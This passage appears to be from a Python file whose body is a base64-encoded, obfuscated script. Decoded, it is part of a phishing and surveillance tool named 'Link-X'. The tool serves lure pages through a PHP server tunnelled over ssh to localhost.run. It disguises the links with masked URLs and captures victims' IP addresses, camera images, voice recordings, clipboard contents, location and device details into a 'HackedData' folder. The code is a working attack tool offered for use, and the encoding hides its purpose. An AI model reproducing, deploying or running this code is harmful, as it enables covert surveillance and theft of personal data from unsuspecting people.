ZlQ291bnRNYXg9MyAiCiAgICAgICAgZiItUiA4MDpsb2NhbGhvc3Q6e3BvcnR9ICIKICAgICAgICBmIm5va2V5QGxvY2FsaG9zdC5ydW4gPiAubGhyLmxvZyAyPiYxICYiCiAgICApCiAgICAKICAgIGlmIGNocm9vdDoKICAgICAgICBvcy5zeXN0ZW0oZiJ0ZXJtdXgtY2hyb290IHtzc2hfY21kfSIpCiAgICBlbHNlOgogICAgICAgIG9zLnN5c3RlbShzc2hfY21kKQogICAgCiAgICB0aW1lLnNsZWVwKDQpCiAgICBtYWluVXJsID0gIiIKICAgIGZvciBfIGluIHJhbmdlKDQwKToKICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cygiLmxoci5sb2ciKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKCIubGhyLmxvZyIsICJyIikgYXMgZjoKICAgICAgICAgICAgICAgICAgICBjb250ZW50ID0gZi5yZWFkKCkKICAgICAgICAgICAgICAgICAgICBpZiAiaHR0cHM6Ly8iIGluIGNvbnRlbnQ6CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIGNvbnRlbnQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgImh0dHBzOi8vIiBpbiBsaW5lIGFuZCAiLmxoci5saWZlIiBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1haW5VcmwgPSBsaW5lLnNwbGl0KClbMF0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgICAgICBpZiBtYWluVXJsOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgZXhjZXB0OgogICAgICAgICAgICAgICAgcGFzcwogICAgICAgIHRpbWUuc2xlZXAoMSkKICAgIAogICAgaWYgbm90IG1haW5Vcmw6CiAgICAgICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSFjV2hpdGVdIEZhaWxlZCB0byBzdGFydCBsb2NhbGhvc3QucnVuIHR1bm5lbCEiKQogICAgICAgIGNQcmludCgiICAgIFtjUHVycGxlIWNXaGl0ZV0gQ2hlY2sgaW50ZXJuZXQgb3IgdHJ5IGFnYWluLlxuIikKICAgICAgICB0dW5uZWxfYWN0aXZlID0gRmFsc2UKICAgICAgICByZXR1cm4gIiIsICIiLCAiIgogICAgCiAgICBtYWluVXJsID0gbWFpblVybC5zdHJpcCgpCiAgICBpZiBub3QgbWFpblVybC5zdGFydHN3aXRoKCJodHRwczovLyIpOgogICAgICAgIG1haW5VcmwgPSAiaHR0cHM6Ly8iICsgbWFpblVybAoKICAgIHJldHVybiBtYWluVXJsLCAiIiwgIiIKCmRlZiBnZXRJcCgpOgogICAgcGF0aCA9ICIuc2VydmVyL2lwLnR4dCIKICAgIGlmIG9zLnBhdGguZXhpc3RzKHBhdGgpOgogICAgICAgIHdpdGggb3BlbihwYXRoLCAiciIpIGFzIGY6CiAgICAgICAgICAgIGlwX2RhdGEgPSBbbGluZS5zdHJpcCgpIGZvciBsaW5lIGluIGYgaWYgbGluZS5zdHJpcCgpXQogICAgICAgIGlmIGlwX2RhdGE6CiAgICAgICAgICAgIGNQcmludCgiXG4gICAgY0JsdWVbY1B1cnBsZStjQmx1ZV0gY1doaXRlVmljdGltIE9wZW5lZCBUaGUgTGluayEhIikKICAgICAgICAgICAgY1ByaW50KGYiXG4gICAgW2NQdXJwbGV+Y1doaXRlXSBWaWN0aW0gSVBjUHVycGxlOiBjV2hpdGV7aXBfZGF0YVswXX0iKQogICAgICAgICAgICBjUHJpbnQoIlxuICAgIFtjUHVycGxlfmNXaGl0ZV0gU2F2ZWQgSW5jUHVycGxlOiBjV2hpdGVpcC50eHQiKQogICAgICAgICAgICBvcy5zeXN0ZW0oImNhdCAiICsgcGF0aCArICIgPj4gaXAudHh0IikKICAgICAgICAgICAgb3Muc3lzdGVtKCJybSAiICsgcGF0aCkKCmRlZiBnZXRMb2coKToKICAgIGF0dERlc0RpY3QgPSB7CiAgICAgICAgImNhbWVyYSI6IHsiZXh0IjogIi5wbmciLCAiaGVhZCI6ICJjYW1fIiwgImZpbGUiOiAiSW1hZ2UgRmlsZSJ9LAogICAgICAgICJ2b2ljZSI6IHsiZXh0IjogIi53YXYiLCAiaGVhZCI6ICJhdWRpb18iLCAiZmlsZSI6ICJWb2ljZSBGaWxlIn0sCiAgICAgICAgImNsaXBib2FyZCI6IHsiZXh0IjogIi5kYXQiLCAiaGVhZCI6ICJjYl8iLCAiZmlsZSI6ICJDbGlwYm9hcmQgRGF0YSJ9LAogICAgICAgICJsb2NhdGlvbiI6IHsiZXh0IjogIi5qc29uIiwgImhlYWQiOiAibG9jXyIsICJmaWxlIjogIkxvY2F0aW9uIERhdGEifSwKICAgICAgICAiZGV0YWlscyI6IHsiZXh0IjogIi5qc29uIiwgImhlYWQiOiAiZGV0YWlsc18iLCAiZmlsZSI6ICJEZXZpY2UgRGV0YWlscyJ9LAogICAgICAgICJjbGlja2phY2tpbmciOiB7ImV4dCI6ICIuanNvbiIsICJoZWFkIjogImNsaWNrXyIsICJmaWxlIjogIkNsaWNrIERhdGEifQogICAgfQogICAgaWYgYXR0YWNrTWV0aG9kIG5vdCBpbiBhdHREZXNEaWN0OgogICAgICAgIHJldHVybgoKICAgIGF0dGFjayA9IGF0dERlc0RpY3RbYXR0YWNrTWV0aG9kXQogICAgZXh0ID0gYXR0YWNrWyJleHQiXQogICAgaGVhZCA9IGF0dGFja1siaGVhZCJdCiAgICBmaWxlVHlwZSA9IGF0dGFja1siZmlsZSJdCiAgICBib2R5ID0gc3RyKHRpbWUudGltZSgpKVs6MTBdCgogICAgbG9nUGF0aCA9ICIuLy5zZXJ2ZXIvTG9nLmxvZyIKICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cyhsb2dQYXRoKToKICAgICAgICByZXR1cm4KICAgIGlmIG5vdCAob3Blbihsb2dQYXRoLCAiciIpLnJlYWQoKS5zdHJpcCgpID09ICJSZWNlaXZlZCIpOgogICAgICAgIHJldHVybgoKICAgIG9zLnJlbW92ZShsb2dQYXRoKQogICAgY1ByaW50KGYiXG4gICAgY1B1cnBsZVtjV2hpdGUrY1B1cnBsZV0gY1doaXRle2ZpbGVUeXBlfSBSZWNlaXZlZCEiKQoKICAgIGlmIGF0dGFja01ldGhvZCA9PSAiY2xpcGJvYXJkIjoKICAgICAgICBjbGlwRGF0YSA9IG9wZW4oIi5zZXJ2ZXIvZGF0YS5kYXQiLCAiciIpLnJlYWQoKQogICAgICAgIGNQcmludChmIlxuW2NQdXJwbGVEYXRhY1doaXRlXWNQdXJwbGU6IGNXaGl0ZXtjbGlwRGF0YX0iKQogICAgZWxpZiBhdHRhY2tNZXRob2QgPT0gImxvY2F0aW9uIjoKICAgICAgICBsb2NEYXRhID0gb3BlbigiLnNlcnZlci9kYXRhLmpzb24iLCAiciIpLnJlYWQoKQogICAgICAgIHByaW50TG9jYXRpb24obG9jRGF0YSkKICAgIGVsaWYgYXR0YWNrTWV0aG9kIGluIFsiZGV0YWlscyIsICJjbGlja2phY2tpbmciXToKICAgICAgICB3YWl0X2NvdW50ID0gMAogICAgICAgIHdoaWxlIG5vdCBvcy5wYXRoLmV4aXN0cygiLnNlcnZlci9kYXRhLmpzb24iKSBhbmQgd2FpdF9jb3VudCA8IDEwOgogICAgICAgICAgICB0aW1lLnNsZWVwKDAuMykKICAgICAgICAgICAgd2FpdF9jb3VudCArPSAxCiAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoIi5zZXJ2ZXIvZGF0YS5qc29uIik6CiAgICAgICAgICAgIHdpdGggb3BlbigiLnNlcnZlci9kYXRhLmpzb24iLCAiciIpIGFzIGY6CiAgICAgICAgICAgICAgICBkZXZpY2VEYXRhID0gZi5yZWFkKCkKICAgICAgICAgICAgcHJpbnREZXRhaWxzKGRldmljZURhdGEpCgogICAgb3Muc3lzdGVtKGYibXYgLi8uc2VydmVyLyp7ZXh0fSAvc2RjYXJkL0hhY2tlZERhdGEve2hlYWR9e2JvZHl9e2V4dH0gMj4vZGV2L251bGwiKQoKZGVmIHN0YXJ0UHJvY2VzcygpOgogICAgZ2xvYmFsIG1hc2tVcmwsIHR1bm5lbF9hY3RpdmUKICAgIG1hc2tVcmwgPSAiIgogICAgcmVkaXJlY3RVcmwgPSAiIgoKICAgIGNQcmludCgiXG4iICsgKCLilIAiICogNDApLmNlbnRlcihjb2x1bW5zKSkKICAgIAogICAgbWFza19jaG9pY2UgPSBpbnB1dChjUHJpbnQoIlxuICAgIGNXaGl0ZVtjUHVycGxlKmNXaGl0ZV0gV2FudCB0byBnZW5lcmF0ZSBhIE1hc2tlZCBVUkwgZm9yIHNvY2lhbCBlbmdpbmVlcmluZz8gW2NQdXJwbGV5L25jV2hpdGVdOj4gIiwgVHJ1ZSkpLnN0cmlwKCkubG93ZXIoKQogICAgaWYgbWFza19jaG9pY2UgPT0gInkiOgogICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgIG1hc2tfaW5wdXQgPSBpbnB1dChjUHJpbnQoIlxuICAgIFtjUHVycGxlKmNXaGl0ZV0gRW50ZXIgTWFzayBOYW1lIChlLmcuIGZyZWUtaXBob25lKTo+IGNXaGl0ZSIsIFRydWUpKS5zdHJpcCgpCiAgICAgICAgICAgIGlmIG1hc2tfaW5wdXQ6CiAgICAgICAgICAgICAgICBtYXNrVXJsID0gbWFza19pbnB1dAogICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIGNQcmludCgiICAgIFtjUHVycGxlIWNXaGl0ZV0gTWFzayBuYW1lIGNhbm5vdCBiZSBlbXB0eS4iKQoKICAgIGlmIGF0dGFja01ldGhvZCA9PSAiY2xpY2tqYWNraW5nIjoKICAgICAgICBjUHJpbnQoIlxuICAgIGNXaGl0ZVtjUHVycGxlKmNXaGl0ZV0gQ2xpY2tKYWNraW5nIE1vZGUgQWN0aXZhdGVkIikKICAgICAgICBjUHJpbnQoIiAgICBjV2hpdGVbY1B1cnBsZSpjV2hpdGVdIFJlZGlyZWN0IEFmdGVyIENsaWNrOiBodHRwczovL3d3dy5hcHBsZS5jb20vICAiKQogICAgICAgIHJlZGlyZWN0VXJsID0gImh0dHBzOi8vd3d3LmFwcGxlLmNvbS8gICIKICAgIGVsc2U6CiAgICAgICAgY1ByaW50KCJcbiAgICBjV2hpdGVbY1B1cnBsZSpjV2hpdGVdIEVudGVyIGEgV2Vic2l0ZSBVUkwgdG8gUmVkaXJlY3QgVmljdGltIEFmdGVyIEV4cGxvaXQiKQogICAgICAgIGNQcmludCgiICAgIGNXaGl0ZShjUHVycGxlTGVhdmUgZW1wdHkgZm9yIGRlZmF1bHQ6IFlvdUFyZUdldHRpbmdPbGRjV2hpdGUpIikKICAgICAgICByZWRpcmVjdFVybCA9IGlucHV0KGNQcmludCgiICAgIGNQdXJwbGVbVVJMXWNXaGl0ZTo+ICIsIFRydWUpKS5zdHJpcCgpCgogICAgY1ByaW50KCJcbiIgKyAoIuKUgCIgKiA0MCkuY2VudGVyKGNvbHVtbnMpKQogICAgY1ByaW50KCIgICAgW2NQdXJwbGUhY1doaXRlXSBTZXR0aW5nIHVwIEZpbGVzLi4uIi5jZW50ZXIoY29sdW1ucykpCiAgICBzZXR1cEZpbGVzKHJlZGlyZWN0VXJsKQoKICAgIHRpbWUuc2xlZXAoMSkKICAgIGNQcmludCgiXG4gICAgW2NQdXJwbGUhY1doaXRlXSBTdGFydGluZyBQSFAgU2VydmVyLi4uIikKICAgIHBvcnQgPSBzdGFydFBIUCgpCiAgICB0aW1lLnNsZWVwKDIpCgogICAgbWFpblVybCwgXywgXyA9IHN0YXJ0TG9jYWxob3N0UnVuKHBvcnQsIE5vbmUpCgogICAgaWYgbm90IG1haW5Vcmw6CiAgICAgICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSFjV2hpdGVdIENhbm5vdCBwcm9jZWVkIHdpdGhvdXQgdHVubmVsLiBFeGl0aW5nLiIpCiAgICAgICAgc3lzLmV4aXQoMSkKCiAgICAjIOKchSBVUERBVEVEOiBOb3cgY2FtZXJhIHVzZXMgbWFzayBwYWdlIGxpa2Ugdm9pY2UKICAgIG1hc2tlZERpc3BsYXlVcmwgPSBOb25lCiAgICBpZiBtYXNrVXJsOgogICAgICAgIGlmIGF0dGFja01ldGhvZCBpbiBbImNhbWVyYSIsICJ2b2ljZSIsICJjbGlja2phY2tpbmciXToKICAgICAgICAgICAgbWFza2VkRGlzcGxheVVybCA9IGNyZWF0ZU1hc2tQYWdlKG1hc2tVcmwsIG1haW5VcmwpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY2xlYW5NYXNrID0gbWFza1VybC5yZXBsYWNlKCIgIiwgIiIpLnJlcGxhY2UoIi8iLCAiIikuc3RyaXAoKQogICAgICAgICAgICBpZiBjbGVhbk1hc2s6CiAgICAgICAgICAgICAgICBtYXNrZWREaXNwbGF5VXJsID0gZiJodHRwczovL3tjbGVhbk1hc2t9QHttYWluVXJsLnJlcGxhY2UoJ2h0dHBzOi8vJywgJycpfSIKCiAgICBsb2dvKCkKICAgIGNQcmludChmIlxuY1doaXRlW2NQdXJwbGUqY1doaXRlXSBTdWNjZXNzZnVsbHkgSG9zdGVkIGF0Y1B1cnBsZTogY1doaXRlaHR0cDovL3tob3N0fTp7cG9ydH0iKQogICAgCiAgICBjUHJpbnQoZiJcbltjUHVycGxlfmNXaGl0ZV0gVVJMIDAxIChNYWluIFVSTCljUHVycGxlOiBjV2hpdGV7bWFpblVybH0iKQoKICAgIGlmIG1hc2tlZERpc3BsYXlVcmw6CiAgICAgICAgaWYgYXR0YWNrTWV0aG9kIGluIFsidm9pY2UiLCAiY2xpY2tqYWNraW5nIl06CiAgICAgICAgICAgIGNQcmludChmIlxuW2NQdXJwbGV+Y1doaXRlXSBVUkwgMDIgKE1hc2sgUGFnZSljUHVycGxlOiBjV2hpdGV7bWFza2VkRGlzcGxheVVybH0iKQogICAgICAgICAgICBjUHJpbnQoIlxuICAgIFtjUHVycGxlIWNXaGl0ZV0g8J+SoSBUaGlzIG1hc2sgcGFnZSByZWRpcmVjdHMgaW5zdGFudGx5IHRvIHRoZSByZWFsIHBheWxvYWQuIikKICAgICAgICAgICAgY1ByaW50KCIgICAgW2NQdXJwbGUhY1doaXRlXSDinIUgU2FmZSBmb3IgVm9pY2UgJiBDbGlja0phY2tpbmchIikKICAgICAgICBlbHNlOgogICAgICAgICAgICAjIE5vdyBpbmNsdWRlcyBjYW1lcmEKICAgICAgICAgICAgY1ByaW50KGYiXG5bY1B1cnBsZX5jV2hpdGVdIFVSTCAwMiAoTWFzayBQYWdlKWNQdXJwbGU6IGNXaGl0ZXttYXNrZWREaXNwbGF5VXJsfSIpCiAgICAgICAgICAgIGNQcmludCgiXG4gICAgW2NQdXJwbGUhY1doaXRlXSDimqEgTWFza2VkIFVSTCByZWFkeS4gV29ya3MgZm9yIENhbWVyYSwgVm9pY2UsIGFuZCBtb3JlLiIpCgogICAgY1ByaW50KCJcbltjUHVycGxlKmNXaGl0ZV0gRGF0YSBTYXZlZCBJbiBjUHVycGxlOiBjV2hpdGUvc2RjYXJkL0hhY2tlZERhdGEiKQogICAgY1ByaW50KCJcbltjUHVycGxlKmNXaGl0ZV0gV2FpdGluZyBmb3IgVmljdGltLCBQcmVzcyBjUHVycGxlQ3RybCBjV2hpdGUrIGNQdXJwbGVDIGNXaGl0ZXRvIFN0b3AuLi5cbiIpCgogICAgdHJ5OgogICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgIHR1bm5lbF9jaGVjayA9IHNiLmdldG91dHB1dCgicHMgYXV4IHwgZ3JlcCAnbG9jYWxob3N0LnJ1bicgfCBncmVwIC12IGdyZXAgfCBncmVwIC12IHB5dGhvbiIpCiAgICAgICAgICAgIGlmIG5vdCB0dW5uZWxfY2hlY2suc3RyaXAoKSBhbmQgdHVubmVsX2FjdGl2ZToKICAgICAgICAgICAgICAgIGNQcmludCgiXG4gICAgW2NQdXJwbGUhY1doaXRlXSBUdW5uZWwgZG93biEgUmVzdGFydGluZy4uLiIpCiAgICAgICAgICAgICAgICBtYWluVXJsLCBfLCBfID0gc3RhcnRMb2NhbGhvc3RSdW4ocG9ydCwgTm9uZSkKICAgICAgICAgICAgICAgIGlmIG1haW5Vcmw6CiAgICAgICAgICAgICAgICAgICAgaWYgbWFza1VybCBhbmQgYXR0YWNrTWV0aG9kIGluIFsiY2FtZXJhIiwgInZvaWNlIiwgImNsaWNramFja2luZyJdOgogICAgICAgICAgICAgICAgICAgICAgICBtYXNrZWREaXNwbGF5VXJsID0gY3JlYXRlTWFza1BhZ2UobWFza1VybCwgbWFpblVybCkKICAgICAgICAgICAgICAgICAgICBsb2dvKCkKICAgICAgICAgICAgICAgICAgICBjUHJpbnQoZiJcbltjUHVycGxlfmNXaGl0ZV0gTmV3IFVSTDpjUHVycGxlIHttYWluVXJsfSIpCiAgICAgICAgICAgICAgICAgICAgaWYgbWFza2VkRGlzcGxheVVybDoKICAgICAgICAgICAgICAgICAgICAgICAgY1ByaW50KGYiW2NQdXJwbGV+Y1doaXRlXSBNYXNrIFVSTDpjUHVycGxlIHttYXNrZWREaXNwbGF5VXJsfSIpCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgIGNQcmludCgiXG4gICAgW2NQdXJwbGUhY1doaXRlXSBGYWlsZWQgdG8gcmVzdGFydCB0dW5uZWwuIikKICAgICAgICAgICAgICAgICAgICBicmVhawoKICAgICAgICAgICAgZ2V0SXAoKQogICAgICAgICAgICBnZXRMb2coKQogICAgICAgICAgICB0aW1lLnNsZWVwKDIpCiAgICBleGNlcHQgS2V5Ym9hcmRJbnRlcnJ1cHQ6CiAgICAgICAgdHVubmVsX2FjdGl2ZSA9IEZhbHNlCiAgICAgICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSFjV2hpdGVdIFByb2Nlc3MgU3RvcHBlZCBCeSBVc2VyXG4iKQogICAgICAgIGtpbGxBbGwoKQogICAgICAgIHN5cy5leGl0KCkKCmRlZiBtZW51KCk6CiAgICBsb2dvKCkKICAgIHBzYigiXG4gICAgY1doaXRlW2NQdXJwbGUqY1doaXRlXSBDaG9vc2UgWW91ciBPcHRpb246IFxuIikKICAgIGNQcmludCgiICAgIFtjUHVycGxlMDFjV2hpdGVdIENhbWVyYSBIYWNrIikKICAgIGNQcmludCgiICAgIFtjUHVycGxlMDJjV2hpdGVdIFZvaWNlIEhhY2siKQogICAgY1ByaW50KCIgICAgW2NQdXJwbGUwM2NXaGl0ZV0gQ2xpcGJvYXJkIEhhY2siKQogICAgY1ByaW50KCIgICAgW2NQdXJwbGUwNGNXaGl0ZV0gTG9jYXRpb24gSGFjayIpCiAgICBjUHJpbnQoIiAgICBbY1B1cnBsZTA1Y1doaXRlXSBDbGlja0phY2tpbmciKQogICAgY1ByaW50KCIgICAgW2NQdXJwbGUwNmNXaGl0ZV0gR2V0IFZpY3RpbSBEZXZpY2UgRGV0YWlscyIpCiAgICBjUHJpbnQoIiAgICBbY1B1cnBsZTA4Y1doaXRlXSBVcGRhdGUgVG9vbCIpCiAgICBjUHJpbnQoIiAgICBbY1B1cnBsZTAwY1doaXRlXSBFeGl0IikKCiAgICBvcCA9IGlucHV0KGNQcmludCgiXG4gICAgW2NQdXJwbGUqY1doaXRlXSBFbnRlciBZb3VyIENob2ljZTo+IGNQdXJwbGUiLCBUcnVlKSkuc3RyaXAoKQogICAgaWYgb3AgaW4gWyIwIiwgIjAwIl06CiAgICAgICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSFjV2hpdGVdIEV4aXRpbmcgTGluay1YLi4uXG4iKQogICAgICAgIGtpbGxBbGwoKQogICAgICAgIHN5cy5leGl0KDApCiAgICB3aGlsZSBvcCBub3QgaW4gWyIxIiwgIjIiLCAiMyIsICI0IiwgIjUiLCAiNiIsICI4Il06CiAgICAgICAgcHNiKCJcbiAgICBjV2hpdGVbY1B1cnBsZSFjV2hpdGVdIFdyb25nIENob2ljZSEiKQogICAgICAgIG9wID0gaW5wdXQoY1ByaW50KCJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIEVudGVyIFlvdXIgQ2hvaWNlOj4gY1B1cnBsZSIsIFRydWUpKS5zdHJpcCgpCiAgICAgICAgaWYgb3AgaW4gWyIwIiwgIjAwIl06CiAgICAgICAgICAgIGNQcmludCgiXG4gICAgW2NQdXJwbGUhY1doaXRlXSBFeGl0aW5nIExpbmstWC4uLlxuIikKICAgICAgICAgICAga2lsbEFsbCgpCiAgICAgICAgICAgIHN5cy5leGl0KDApCgogICAgaWYgb3AgPT0gIjgiOgogICAgICAgIHVwZGF0ZSgpCgogICAgYXR0TGlzdCA9IFsiY2FtZXJhIiwgInZvaWNlIiwgImNsaXBib2FyZCIsICJsb2NhdGlvbiIsICJjbGlja2phY2tpbmciLCAiZGV0YWlscyJdCiAgICBnbG9iYWwgYXR0YWNrTWV0aG9kCiAgICBhdHRhY2tNZXRob2QgPSBhdHRMaXN0W2ludChvcCkgLSAxXQogICAgc3RhcnRQcm9jZXNzKCkKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICByZXF1aXJlZCA9IFsicGhwIiwgImN1cmwiLCAid2dldCIsICJ1bnppcCIsICJzc2giXQogICAgaWYgYW55KHNiLmdldG91dHB1dChmImNvbW1hbmQgLXYge3BrZ30iKSA9PSAiIiBmb3IgcGtnIGluIHJlcXVpcmVkKToKICAgICAgICBvcy5zeXN0ZW0oInB5dGhvbiBzZXR1cC5weSIpCgogICAgaWYgbm90IG9zLnBhdGguZXhpc3RzKCIvc2RjYXJkL0hhY2tlZERhdGEiKToKICAgICAgICBvcy5tYWtlZGlycygiL3NkY2FyZC9IYWNrZWREYXRhIiwgZXhpc3Rfb2s9VHJ1ZSkKICAgIGtpbGxBbGwoKQogICAgbWVudSgp').decode('utf-8')) 4 | --------------------------------------------------------------------------------